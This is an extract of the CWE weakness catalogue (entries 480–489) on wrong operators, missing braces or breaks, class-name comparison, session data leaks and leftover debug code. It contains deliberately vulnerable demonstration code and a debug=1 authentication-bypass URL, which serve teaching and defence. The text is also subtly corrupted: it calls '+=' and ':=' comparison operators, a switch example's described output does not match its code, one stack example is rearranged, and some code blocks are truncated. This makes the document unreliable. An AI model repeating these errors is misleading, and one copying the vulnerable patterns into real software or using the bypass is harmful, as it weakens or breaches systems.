These types of errors are generally the result of a typo.

**Time of Introduction**

- Implementation

**Applicable Platforms**

**Languages**

- C (Sometimes)
- C++ (Sometimes)
- Perl (Sometimes)
- Language-independent

**Common Consequences**

**Other**

**Alter execution logic**

This weakness can cause unintended logic to be executed and other unexpected application behavior.

**Likelihood of Exploit**

Low
Detection Methods

Automated Static Analysis
This weakness can be found easily using static analysis. However in some cases an operator might appear to be incorrect, but is actually correct and reflects unusual logic within the program.

Manual Static Analysis
This weakness can be found easily using static analysis. However in some cases an operator might appear to be incorrect, but is actually correct and reflects unusual logic within the program.

Demonstrative Examples

Example 1:
The following C/C++ and C# examples attempt to validate an int input parameter against the integer value 100.

C/C# Example:
```c
int isValid(int value) {
    if (value=100) {
        printf("Value is valid\n");
        return(1);
    }
    printf("Value is not valid\n");
    return(0);
}
```

C# Example:
```c
bool isValid(int value) {
    if (value=100) {
        Console.WriteLine("Value is valid.");
        return true;
    }
    Console.WriteLine("Value is not valid.");
    return false;
}
```

However, the expression to be evaluated in the if statement uses the assignment operator "=" rather than the comparison operator "+=". The result of using the assignment operator instead of the comparison operator causes the int variable to be reassigned locally and the expression in the if statement will always evaluate to the value on the right hand side of the expression. This will result in the input value not being properly validated, which can cause unexpected results.

Example 2:
The following C/C++ example shows a simple implementation of a stack that includes methods for adding and removing integer values from the stack. The example uses pointers to add and remove integer values to the stack array variable.

C/C++ Example:
```c
#define SIZE 50
int *tos, *p1, stack[SIZE];
void push(int i) {
    p1++;
    if(p1==(tos+SIZE)) {
        // Print stack overflow error message and exit
    }
    *p1 = i;
}
int pop(void) {
    if(p1==tos) {
        // Print stack underflow error message and exit
    }
    p1--;
    return *(p1+1);
}
int main(int argc, char *argv[]) {
    // initialize tos and p1 to point to the top of stack
    tos = stack;
p1 = stack;
```
The push method includes an expression to assign the integer value to the location in the stack pointed to by the pointer variable.

However, this expression uses the comparison operator "==" rather than the assignment operator "=". The result of using the comparison operator instead of the assignment operator causes erroneous values to be entered into the stack and can cause unexpected results.

### Relationships

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>[V]</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>569</td>
<td>Expression Issues</td>
<td></td>
<td>699</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>670</td>
<td>Always-Incorrect Control Flow Implementation</td>
<td></td>
<td>1000</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>747</td>
<td>CERT C Secure Coding Section 49 - Miscellaneous (MSC)</td>
<td></td>
<td>734</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>871</td>
<td>CERT C++ Secure Coding Section 03 - Expressions (EXP)</td>
<td></td>
<td>868</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>883</td>
<td>CERT C++ Secure Coding Section 49 - Miscellaneous (MSC)</td>
<td></td>
<td>868</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>977</td>
<td>SFP Secondary Cluster: Design</td>
<td></td>
<td>888</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>481</td>
<td>Assigning instead of Comparing</td>
<td>699</td>
<td>813</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>482</td>
<td>Comparing instead of Assigning</td>
<td>699</td>
<td>1000</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>597</td>
<td>Use of Wrong Operator in String Comparison</td>
<td>699</td>
<td>940</td>
</tr>
<tr>
<td>MemberOf</td>
<td></td>
<td>884</td>
<td>CWE Cross-section</td>
<td>884</td>
<td>1323</td>
</tr>
</tbody>
</table>

### Taxonomy Mappings

<table>
<thead>
<tr>
<th>Mapped Taxonomy Name</th>
<th>Node ID</th>
<th>Mapped Node Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>CLASP</td>
<td></td>
<td>Using the wrong operator</td>
</tr>
<tr>
<td>CERT C Secure Coding</td>
<td>MSC02-C</td>
<td>Avoid errors of omission</td>
</tr>
<tr>
<td>CERT C Secure Coding</td>
<td>MSC03-C</td>
<td>Avoid errors of addition</td>
</tr>
<tr>
<td>CERT C++ Secure Coding</td>
<td>EXP19-CPP</td>
<td>Do not perform assignments in conditional ressions</td>
</tr>
<tr>
<td>CERT C++ Secure Coding</td>
<td>MSC02-CPP</td>
<td>Avoid errors of omission</td>
</tr>
<tr>
<td>CERT C++ Secure Coding</td>
<td>MSC03-CPP</td>
<td>Avoid errors of addition</td>
</tr>
</tbody>
</table>

### References


---

### CWE-481: Assigning instead of Comparing

**Weakness ID: 481 (Weakness Variant)**

**Status:** Draft

**Description**

**Summary**

The code uses an operator for assignment when the intention was to perform a comparison.

**Extended Description**

In many languages the compare statement is very close in appearance to the assignment statement and are often confused. This bug is generally the result of a typo and usually causes obvious problems with program execution. If the comparison is in an if statement, the if statement will usually evaluate the value of the right-hand side of the predicate.

**Time of Introduction**

- Implementation

**Applicable Platforms**

**Languages**

- C

---

813
CWE Version 2.11
CWE-481: Assigning instead of Comparing

- C++
- Java
- .NET

Common Consequences
Other
Alter execution logic

Likelihood of Exploit
Low

Demonstrative Examples

Example 1:
The following C/C++ and C# examples attempt to validate an int input parameter against the integer value 100.

C/C# Example:
```c
int isValid(int value) {
    if (value=100) {
        printf("Value is valid\n");
        return(1);
    }
    printf("Value is not valid\n");
    return(0);
}
```

C# Example:
```c
bool isValid(int value) {
    if (value=100) {
        Console.WriteLine("Value is valid.");
        return true;
    }
    Console.WriteLine("Value is not valid.");
    return false;
}
```

However, the expression to be evaluated in the if statement uses the assignment operator "=" rather than the comparison operator ":=". The result of using the assignment operator instead of the comparison operator causes the int variable to be reassigned locally and the expression in the if statement will always evaluate to the value on the right hand side of the expression. This will result in the input value not being properly validated, which can cause unexpected results.

Example 2:
In this example, we show how assigning instead of comparing can impact code when values are being passed by reference instead of by value. Consider a scenario in which a string is being processed from user input. Assume the string has already been formatted such that different user inputs are concatenated with the colon character. When the processString function is called, the test for the colon character will result in an insertion of the colon character instead, adding new input separators. Since the string was passed by reference, the data sentinels will be inserted in the original string (CWE-464), and further processing of the inputs will be altered, possibly malformed.

C Example:
```c
void processString (char *str) {
    int i;
    for(i=0; i<strlen(str); i++) {
        if (isalnum(str[i])){
            processChar(str[i]);
        }
        else if (str[i] = ":") {
            movingToNewInput();
        }
    }
}
```
Example 3:
The following Java example attempts to perform some processing based on the boolean value of the input parameter. However, the expression to be evaluated in the if statement uses the assignment operator "=" rather than the comparison operator "==". As with the previous examples, the variable will be reassigned locally and the expression in the if statement will evaluate to true and unintended processing may occur.

Java Example:  
```java
public void checkValid(boolean isValid) {
    if (isValid = true) {
        System.out.println("Performing processing");
        doSomethingImportant();
    }
    else {
        System.out.println("Not Valid, do not perform processing");
        return;
    }
}
```

While most Java compilers will catch the use of an assignment operator when a comparison operator is required, for boolean variables in Java the use of the assignment operator within an expression is allowed. If possible, try to avoid using comparison operators on boolean variables in java. Instead, let the values of the variables stand for themselves, as in the following code.

Java Example:  
```java
public void checkValid(boolean isValid) {
    if (isValid) {
        System.out.println("Performing processing");
        doSomethingImportant();
    }
    else {
        System.out.println("Not Valid, do not perform processing");
        return;
    }
}
```

Alternatively, to test for false, just use the boolean NOT operator.

Java Example:  
```java
public void checkValid(boolean isValid) {
    if (!isValid) {
        System.out.println("Not Valid, do not perform processing");
        return;
    }
    System.out.println("Performing processing");
    doSomethingImportant();
}
```

Example 4:  

C Example:  
```c
void called(int foo){
    if (foo=1) printf("foo\n");
}
int main() {
    called(2);
    return 0;
}
```

Potential Mitigations  
Testing  
Many IDEs and static analysis products will detect this problem.

Implementation  
Place constants on the left. If one attempts to assign a constant with a variable, the compiler will of course produce an error.
CWE-482: Comparing instead of Assigning

Description

Summary
The code uses an operator for comparison when the intention was to perform an assignment.

Extended Description
In many languages, the compare statement is very close in appearance to the assignment statement; they are often confused.

Time of Introduction
• Implementation

Applicable Platforms
Languages
• C
• C++

Modes of Introduction
This bug primarily originates from a typo.

Common Consequences
Availability
Integrity
Unexpected state
The assignment will not take place, which should cause obvious program execution problems.

Likelihood of Exploit
Low

Demonstrative Examples

Example 1:
C/C++/Java Example:

```c
void called(int foo) {
    foo=1;
    if (foo==1) printf("foo\n");
}
int main() {
    called(2);
    return 0;
}
```

Example 2:
The following C/C++ example shows a simple implementation of a stack that includes methods for adding and removing integer values from the stack. The example uses pointers to add and remove integer values to the stack array variable.
C/C++ Example:

```c
#define SIZE 50
int *tos, *p1, stack[SIZE];
void push(int i) {
    p1++;
    if(p1==(tos+SIZE)) {
        // Print stack overflow error message and exit
        *p1 = i;
    }
}
int pop(void) {
    if(p1==tos) {
        // Print stack underflow error message and exit
    }
    p1--;
    return *(p1+1);
}
int main(int argc, char *argv[]) {
    // initialize tos and p1 to point to the top of stack
    tos = stack;
p1 = stack;
    // code to add and remove items from stack
    ...
    return 0;
```

The push method includes an expression to assign the integer value to the location in the stack pointed to by the pointer variable.

However, this expression uses the comparison operator "==" rather than the assignment operator "=". The result of using the comparison operator instead of the assignment operator causes erroneous values to be entered into the stack and can cause unexpected results.

**Potential Mitigations**

**Testing**

Many IDEs and static analysis products will detect this problem.

**Relationships**

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td>☀</td>
<td>480</td>
<td>Use of Incorrect Operator</td>
<td>699</td>
</tr>
<tr>
<td>ChildOf</td>
<td>☠</td>
<td>747</td>
<td>CERT C Secure Coding Section 49 - Miscellaneous (MSC)</td>
<td>734</td>
</tr>
<tr>
<td>ChildOf</td>
<td>☠</td>
<td>883</td>
<td>CERT C++ Secure Coding Section 49 - Miscellaneous (MSC)</td>
<td>868</td>
</tr>
<tr>
<td>ChildOf</td>
<td>☠</td>
<td>886</td>
<td>SFP Primary Cluster: Unused entities</td>
<td>888</td>
</tr>
</tbody>
</table>

**Taxonomy Mappings**

<table>
<thead>
<tr>
<th>Mapped Taxonomy Name</th>
<th>Node ID</th>
<th>Mapped Node Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>CLASP</td>
<td></td>
<td>Comparing instead of assigning</td>
</tr>
<tr>
<td>CERT C Secure Coding</td>
<td>MSC02-C</td>
<td>Avoid errors of omission</td>
</tr>
<tr>
<td>CERT C++ Secure Coding</td>
<td>MSC02-CPP</td>
<td>Avoid errors of omission</td>
</tr>
<tr>
<td>Software Fault Patterns</td>
<td>SFP2</td>
<td>Unused Entities</td>
</tr>
</tbody>
</table>

**References**

CWE-483: Incorrect Block Delimitation

Extended Description
In some languages, braces (or other delimiters) are optional for blocks. When the delimiter is omitted, it is possible to insert a logic error in which a statement is thought to be in a block but is not. In some cases, the logic error can have security implications.

Time of Introduction
- Implementation

Applicable Platforms
Languages
- C (Sometimes)
- C++ (Sometimes)

Common Consequences
Confidentiality
Integrity
Availability
Alter execution logic
This is a general logic error which will often lead to obviously-incorrect behaviors that are quickly noticed and fixed. In lightly tested or untested code, this error may be introduced into a production environment and provide additional attack vectors by creating a control flow path leading to an unexpected state in the application. The consequences will depend on the types of behaviors that are being incorrectly executed.

Likelihood of Exploit
Low

Demonstrative Examples
Example 1:
In this example, the programmer has indented the statements to call Do_X() and Do_Y(), as if the intention is that these functions are only called when the condition is true. However, because there are no braces to signify the block, Do_Y() will always be executed, even if the condition is false.

```
if (condition==true)
    Do_X();
Do_Y();
```

This might not be what the programmer intended. When the condition is critical for security, such as in making a security decision or detecting a critical error, this may produce a vulnerability.

Example 2:
In this example, the programmer has indented the Do_Y() statement as if the intention is that the function should be associated with the preceding conditional and should only be called when the condition is true. However, because Do_X() was called on the same line as the conditional and there are no braces to signify the block, Do_Y() will always be executed, even if the condition is false.

```
if (condition==true) Do_X();
    Do_Y();
```

This might not be what the programmer intended. When the condition is critical for security, such as in making a security decision or detecting a critical error, this may produce a vulnerability.

Observed Examples
<table>
<thead>
<tr>
<th>Reference</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>CVE-2014-1266</td>
<td>incorrect indentation of &quot;goto&quot; statement makes it more difficult to detect an incorrect goto (Apple's &quot;goto fail&quot;)</td>
</tr>
</tbody>
</table>

Potential Mitigations
Implementation
Always use explicit block delimitation and use static-analysis technologies to enforce this practice.

Relationships
CWE-484: Omitted Break Statement in Switch

**Description**

**Summary**

The program omits a break statement within a switch or similar construct, causing code associated with multiple conditions to execute. This can cause problems when the programmer only intended to execute code associated with one condition.

**Extended Description**

This can lead to critical code executing in situations where it should not.

**Time of Introduction**

- Implementation

**Applicable Platforms**

- C
- C++
- Java
- .NET
- PHP

**Common Consequences**

**Other**

- **Alter execution logic**
  
  This weakness can cause unintended logic to be executed and other unexpected application behavior.

**Likelihood of Exploit**

Medium

**Detection Methods**

**White Box**

Omission of a break statement might be intentional, in order to support fallthrough. Automated detection methods might therefore be erroneous. Semantic understanding of expected program behavior is required to interpret whether the code is correct.

**Black Box**

Since this weakness is associated with a code construct, it would be indistinguishable from other errors that produce the same behavior.

**Demonstrative Examples**

In both of these examples, a message is printed based on the month passed into the function:

**Java Example:**

```java
public void printMessage(int month){
    switch (month) {
        case 1: print("January");
        case 2: print("February");
        case 3: print("March");
        case 4: print("April");
        case 5: print("May");
        case 6: print("June");
    }
}
```
Both examples do not use a break statement after each case, which leads to unintended fall-through behavior. For example, calling "printMessage(10)" will result in the text "OctoberNovemberDecember is a great month" being printed.

**Potential Mitigations**

**Implementation**

Omitting a break statement so that one may fall through is often indistinguishable from an error, and therefore should be avoided. If you need to use fall-through capabilities, make sure that you have clearly documented this within the switch statement, and ensure that you have examined all the logical possibilities.

**Implementation**

The functionality of omitting a break statement could be clarified with an if statement. This method is much safer.

**Weakness Ordinalities**

**Primary** *(where the weakness exists independent of other weaknesses)*

**Relationships**

<table>
<thead>
<tr>
<th>Nature Of</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td></td>
<td>398</td>
<td>Indicator of Poor Code Quality</td>
<td>699</td>
</tr>
<tr>
<td>ChildOf</td>
<td></td>
<td>670</td>
<td>Always-Incorrect Control Flow Implementation</td>
<td>1000</td>
</tr>
<tr>
<td>ChildOf</td>
<td></td>
<td>962</td>
<td>SFP Secondary Cluster: Unchecked Status Condition</td>
<td>888</td>
</tr>
<tr>
<td>MemberOf</td>
<td></td>
<td>884</td>
<td>CWE Cross-section</td>
<td>884</td>
</tr>
</tbody>
</table>

**Taxonomy Mappings**

<table>
<thead>
<tr>
<th>Mapped Taxonomy Name</th>
<th>Node ID</th>
<th>Mapped Node Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>CLASP</td>
<td></td>
<td>Omitted break statement</td>
</tr>
<tr>
<td>Software Fault Patterns</td>
<td>SFP4</td>
<td>Unchecked Status Condition</td>
</tr>
</tbody>
</table>

**References**

CWE Version 2.11
CWE-485: Insufficient Encapsulation

Weakness ID: 485 (Weakness Class)

Description

Summary
The product does not sufficiently encapsulate critical data or functionality.

Extended Description
Encapsulation is about drawing strong boundaries. In a web browser that might mean ensuring that your mobile code cannot be abused by other mobile code. On the server it might mean differentiation between validated data and unvalidated data, between one user’s data and another’s, or between data users are allowed to see and data that they are not.

Terminology Notes
The "encapsulation" term is used in multiple ways. Within some security sources, the term is used to describe the establishment of boundaries between different control spheres. Within general computing circles, it is more about hiding implementation details and maintainability than security. Even within the security usage, there is also a question of whether "encapsulation" encompasses the entire range of security problems.

Time of Introduction
• Architecture and Design
• Implementation

Common Consequences
Other
Varies by context

Relationships

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Status Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td>✔</td>
<td>18</td>
<td>Source Code</td>
<td>1003 17</td>
</tr>
<tr>
<td>ChildOf</td>
<td>✔</td>
<td>664</td>
<td>Improper Control of a Resource Through its Lifetime</td>
<td>1000 1028</td>
</tr>
<tr>
<td>ChildOf</td>
<td>✔</td>
<td>881</td>
<td>CERT C++ Secure Coding Section 13 - Object Oriented Programming (OOP)</td>
<td>868 1322</td>
</tr>
<tr>
<td>ChildOf</td>
<td>✔</td>
<td>966</td>
<td>SFP Secondary Cluster: Other Exposures</td>
<td>888 1383</td>
</tr>
<tr>
<td>ParentOf</td>
<td>✔</td>
<td>216</td>
<td>Containment Errors (Container Errors)</td>
<td>1000 411</td>
</tr>
<tr>
<td>ParentOf</td>
<td>✔</td>
<td>486</td>
<td>Comparison of Classes by Name</td>
<td>699 700 1000 822</td>
</tr>
<tr>
<td>ParentOf</td>
<td>✔</td>
<td>487</td>
<td>Reliance on Package-level Scope</td>
<td>699 700 1000 824</td>
</tr>
<tr>
<td>ParentOf</td>
<td>✔</td>
<td>488</td>
<td>Exposure of Data Element to Wrong Session</td>
<td>699 700 1000 825</td>
</tr>
<tr>
<td>ParentOf</td>
<td>✔</td>
<td>489</td>
<td>Leftover Debug Code</td>
<td>699 700 1000 826</td>
</tr>
<tr>
<td>ParentOf</td>
<td>✔</td>
<td>490</td>
<td>Mobile Code Issues</td>
<td>700 828</td>
</tr>
<tr>
<td>ParentOf</td>
<td>✔</td>
<td>491</td>
<td>Public cloneable() Method Without Final ('Object Hijack')</td>
<td>700 828</td>
</tr>
<tr>
<td>ParentOf</td>
<td>✔</td>
<td>492</td>
<td>Use of Inner Class Containing Sensitive Data</td>
<td>700 829</td>
</tr>
<tr>
<td>ParentOf</td>
<td>✔</td>
<td>493</td>
<td>Critical Public Variable Without Final Modifier</td>
<td>700 835</td>
</tr>
<tr>
<td>ParentOf</td>
<td>✔</td>
<td>495</td>
<td>Private Array-Typed Field Returned From A Public Method</td>
<td>699 700 1000 840</td>
</tr>
<tr>
<td>ParentOf</td>
<td>✔</td>
<td>496</td>
<td>Public Data Assigned to Private Array-Typed Field</td>
<td>699 700 1000 841</td>
</tr>
<tr>
<td>ParentOf</td>
<td>✔</td>
<td>497</td>
<td>Exposure of System Data to an Unauthorized Control Sphere</td>
<td>700 842</td>
</tr>
<tr>
<td>ParentOf</td>
<td>✔</td>
<td>498</td>
<td>Cloneable Class Containing Sensitive Information</td>
<td>699 1000 844</td>
</tr>
<tr>
<td>ParentOf</td>
<td>✔</td>
<td>499</td>
<td>Serializable Class Containing Sensitive Data</td>
<td>699 1000 845</td>
</tr>
</tbody>
</table>
CWE-486: Comparison of Classes by Name

Weakness ID: 486 (Weakness Variant)  Status: Draft

Description

Summary
The program compares classes by name, which can cause it to use the wrong class when multiple classes can have the same name.

Extended Description
If the decision to trust the methods and data of an object is based on the name of a class, it is possible for malicious users to send objects of the same name as trusted classes and thereby gain the trust afforded to known classes and types.

Time of Introduction
• Implementation

Applicable Platforms

Languages
• Java

Common Consequences
Integrity
Confidentiality
Availability

Execute unauthorized code or commands
If a program relies solely on the name of an object to determine identity, it may execute the incorrect or unintended code.

Likelihood of Exploit
High

Demonstrative Examples
Example 1:
In this example, the expression in the if statement compares the class of the inputClass object to a trusted class by comparing the class names.

**Java Example:**

```
if (inputClass.getClass().getName().equals("TrustedClassName")) {
    // Do something assuming you trust inputClass
    // ...
}
```

However, multiple classes can have the same name therefore comparing an object's class by name can allow untrusted classes of the same name as the trusted class to be use to execute unintended or incorrect code. To compare the class of an object to the intended class the getClass() method and the comparison operator "==" should be used to ensure the correct trusted class is used, as shown in the following example.

**Java Example:**

```
if (inputClass.getClass() == TrustedClass.class) {
    // Do something assuming you trust inputClass
    // ...
}
```

**Example 2:**

In this example, the Java class, TrustedClass, overrides the equals method of the parent class Object to determine equivalence of objects of the class. The overridden equals method first determines if the object, obj, is the same class as the TrustedClass object and then compares the object's fields to determine if the objects are equivalent.

**Java Example:**

```
public class TrustedClass {
    ...
    @Override
    public boolean equals(Object obj) {
        boolean isEquals = false;
        // first check to see if the object is of the same class
        if (obj.getClass().getName().equals(this.getClass().getName())) {
            // then compare object fields
            ...
            if (...) {
                isEquals = true;
            }
        }
        return isEquals;
    }
    ...
}
```

However, the equals method compares the class names of the object, obj, and the TrustedClass object to determine if they are the same class. As with the previous example using the name of the class to compare the class of objects can lead to the execution of unintended or incorrect code if the object passed to the equals method is of another class with the same name. To compare the class of an object to the intended class, the getClass() method and the comparison operator "==" should be used to ensure the correct trusted class is used, as shown in the following example.

**Java Example:**

```
public boolean equals(Object obj) {
    ...
    // first check to see if the object is of the same class
    if (obj.getClass() == this.getClass()) {
        ...
    }
    ...
}
```

**Potential Mitigations**
CWE Version 2.11
CWE-487: Reliance on Package-level Scope

Implementation
Use class equivalency to determine type. Rather than use the class name to determine if an object is of a given type, use the getClass() method, and == operator.

Relationships

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>V</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>171</td>
<td>Cleansing, Canonicalization, and Comparison Errors</td>
<td></td>
<td>699</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>485</td>
<td>Insufficient Encapsulation</td>
<td></td>
<td>820</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>697</td>
<td>Insufficient Comparison</td>
<td></td>
<td>1000</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>849</td>
<td>CERT Java Secure Coding Section 04 - Object Orientation (OBJ)</td>
<td></td>
<td>1297</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>998</td>
<td>SFP Secondary Cluster: Glitch in Computation</td>
<td></td>
<td>888</td>
</tr>
<tr>
<td>PeerOf</td>
<td>V</td>
<td>386</td>
<td>Symbolic Name not Mapping to Correct Object</td>
<td></td>
<td>1000</td>
</tr>
<tr>
<td>MemberOf</td>
<td>V</td>
<td>884</td>
<td>CWE Cross-section</td>
<td></td>
<td>1323</td>
</tr>
</tbody>
</table>

Relevant Properties
• Equivalence
• Uniqueness

Taxonomy Mappings

<table>
<thead>
<tr>
<th>Mapped Taxonomy Name</th>
<th>Node ID</th>
<th>Mapped Node Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>7 Pernicious Kingdoms</td>
<td></td>
<td>Comparing Classes by Name</td>
</tr>
<tr>
<td>CLASP</td>
<td></td>
<td>Comparing classes by name</td>
</tr>
<tr>
<td>CERT Java Secure Coding</td>
<td>OBJ09-J</td>
<td>Compare classes and not class names</td>
</tr>
<tr>
<td>Software Fault Patterns</td>
<td>SFP1</td>
<td>Glitch in computation</td>
</tr>
</tbody>
</table>

CWE-487: Reliance on Package-level Scope

Weakness ID: 487 (Weakness Variant) Status: Incomplete

Description

Summary
Java packages are not inherently closed; therefore, relying on them for code security is not a good practice.

Extended Description
The purpose of package scope is to prevent accidental access by other parts of a program. This is an ease-of-software-development feature but not a security feature.

Time of Introduction
• Implementation

Applicable Platforms
Languages
• Java

Common Consequences
Confidentiality
Read application data
Any data in a Java package can be accessed outside of the Java framework if the package is distributed.

Integrity
Modify application data
The data in a Java class can be modified by anyone outside of the Java framework if the packages is distributed.

Likelihood of Exploit
Medium

Demonstrative Examples
Java Example:

```java
package math;
public class Lebesgue implements Integration{
    public final static String youAreHidingThisFunction(String functionToIntegrate){
        return ...;
    }
}
```

Potential Mitigations

**Architecture and Design**

Data should be private static and final whenever possible. This will assure that your code is protected by instantiating early, preventing access and tampering.

**Relationships**

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Status</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td>485</td>
<td>Insufficient Encapsulation</td>
<td>IV</td>
<td></td>
</tr>
<tr>
<td>ChildOf</td>
<td>850</td>
<td>CERT Java Secure Coding Section 05 - Methods (MET)</td>
<td>844</td>
<td></td>
</tr>
<tr>
<td>ChildOf</td>
<td>966</td>
<td>SFP Secondary Cluster: Other Exposures</td>
<td>888</td>
<td></td>
</tr>
</tbody>
</table>

**Taxonomy Mappings**

<table>
<thead>
<tr>
<th>Mapped Taxonomy Name</th>
<th>Node ID</th>
<th>Mapped Node Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>CLASP</td>
<td>Relying on package-level scope</td>
<td></td>
</tr>
<tr>
<td>CERT Java Secure Coding</td>
<td>MET04-J</td>
<td>Do not increase the accessibility of overridden or hidden methods</td>
</tr>
</tbody>
</table>

---

**CWE-488: Exposure of Data Element to Wrong Session**

**Weakness ID:** 488 (Weakness Variant)

**Status:** Draft

**Description**

**Summary**

The product does not sufficiently enforce boundaries between the states of different sessions, causing data to be provided to, or used by, the wrong session.

**Extended Description**

Data can "bleed" from one session to another through member variables of singleton objects, such as Servlets, and objects from a shared pool.

In the case of Servlets, developers sometimes do not understand that, unless a Servlet implements the SingleThreadModel interface, the Servlet is a singleton; there is only one instance of the Servlet, and that single instance is used and re-used to handle multiple requests that are processed simultaneously by different threads. A common result is that developers use Servlet member fields in such a way that one user may inadvertently see another user's data. In other words, storing user data in Servlet member fields introduces a data access race condition.

**Time of Introduction**

- Implementation

**Applicable Platforms**

**Languages**

- All

**Common Consequences**

- Confidentiality
  - Read application data

**Demonstrative Examples**

The following Servlet stores the value of a request parameter in a member field and then later echoes the parameter value to the response output stream.

**Java Example:**

```java
public class GuestBook extends HttpServlet {
    String name;
    protected void doPost (HttpServletRequest req, HttpServletResponse res) {
```
CWE-489: Leftover Debug Code

```java
name = req.getParameter("name");
...
out.println(name + ", thanks for visiting!");
}
}
```

While this code will work perfectly in a single-user environment, if two users access the Servlet at approximately the same time, it is possible for the two request handler threads to interleave in the following way: Thread 1: assign "Dick" to name Thread 2: assign "Jane" to name Thread 1: print "Jane, thanks for visiting!" Thread 2: print "Jane, thanks for visiting!" Thereby showing the first user the second user's name.

**Potential Mitigations**

**Architecture and Design**

Protect the application's sessions from information leakage. Make sure that a session's data is not used or visible by other sessions.

**Testing**

Use a static analysis tool to scan the code for information leakage vulnerabilities (e.g. Singleton Member Field).

**Architecture and Design**

In a multithreading environment, storing user data in Servlet member fields introduces a data access race condition. Do not use member fields to store information in the Servlet.

**Relationships**

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td></td>
<td>485</td>
<td>Insufficient Encapsulation</td>
<td>699</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td>700</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td>1000</td>
</tr>
<tr>
<td>ChildOf</td>
<td></td>
<td>882</td>
<td>CERT C++ Secure Coding Section 14 - Concurrency (CON)</td>
<td>868</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td>1322</td>
</tr>
<tr>
<td>ChildOf</td>
<td></td>
<td>965</td>
<td>SFP Secondary Cluster: Insecure Session Management</td>
<td>888</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td>1383</td>
</tr>
<tr>
<td>CanFollow</td>
<td></td>
<td>567</td>
<td>Unsynchronized Access to Shared Data in a Multithreaded Context</td>
<td>1000</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td>906</td>
</tr>
</tbody>
</table>

**Taxonomy Mappings**

<table>
<thead>
<tr>
<th>Mapped Taxonomy Name</th>
<th>Node ID</th>
<th>Mapped Node Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>7 Pernicious Kingdoms</td>
<td></td>
<td>Data Leaking Between Users</td>
</tr>
<tr>
<td>CERT C++ Secure Coding</td>
<td>CON02-CPP</td>
<td>Use lock classes for mutex management</td>
</tr>
</tbody>
</table>

**Related Attack Patterns**

<table>
<thead>
<tr>
<th>CAPEC-ID</th>
<th>Attack Pattern Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>59</td>
<td>Session Credential Falsification through Prediction</td>
</tr>
<tr>
<td>60</td>
<td>Reusing Session IDs (aka Session Replay)</td>
</tr>
</tbody>
</table>

**CWE-489: Leftover Debug Code**

**Weakness ID:** 489 *(Weakness Base)*

**Description**

**Summary**

The application can be deployed with active debugging code that can create unintended entry points.

**Extended Description**

A common development practice is to add "back door" code specifically designed for debugging or testing purposes that is not intended to be shipped or deployed with the application. These back door entry points create security risks because they are not considered during design or testing and fall outside of the expected operating conditions of the application.

**Time of Introduction**

- Implementation
- Build and Compilation
• Operation

**Applicable Platforms**

**Languages**

• All

**Modes of Introduction**

In web-based applications, debug code is used to test and modify web application properties, configuration information, and functions. If a debug application is left on a production server, this oversight during the "software process" allows attackers access to debug functionality.

**Common Consequences**

- Confidentiality
- Integrity
- Availability
- Access Control
- Other
- Bypass protection mechanism
- Read application data
- Gain privileges / assume identity
- Varies by context

The severity of the exposed debug application will depend on the particular instance. At the least, it will give an attacker sensitive information about the settings and mechanics of web applications on the server. At worst, as is often the case, the debug application will allow an attacker complete control over the web application and server, as well as confidential information that either of these access.

**Demonstrative Examples**

Debug code can be used to bypass authentication. For example, suppose an application has a login script that receives a username and a password. Assume also that a third, optional, parameter, called "debug", is interpreted by the script as requesting a switch to debug mode, and that when this parameter is given the username and password are not checked. In such a case, it is very simple to bypass the authentication process if the special behavior of the application regarding the debug parameter is known. In a case where the form is:

**HTML Example:**

```html
<form action="/authenticate_login.cgi">
    <input type=TEXT name=username>
    <input type=PASSWORD name=password>
    <input type=SUBMIT>
</form>
```

Then a conforming link will look like:

```
http://TARGET/authenticate_login.cgi?username=...&password=...
```

An attacker can change this to:

```
http://TARGET/authenticate_login.cgi?username=&password=&debug=1
```

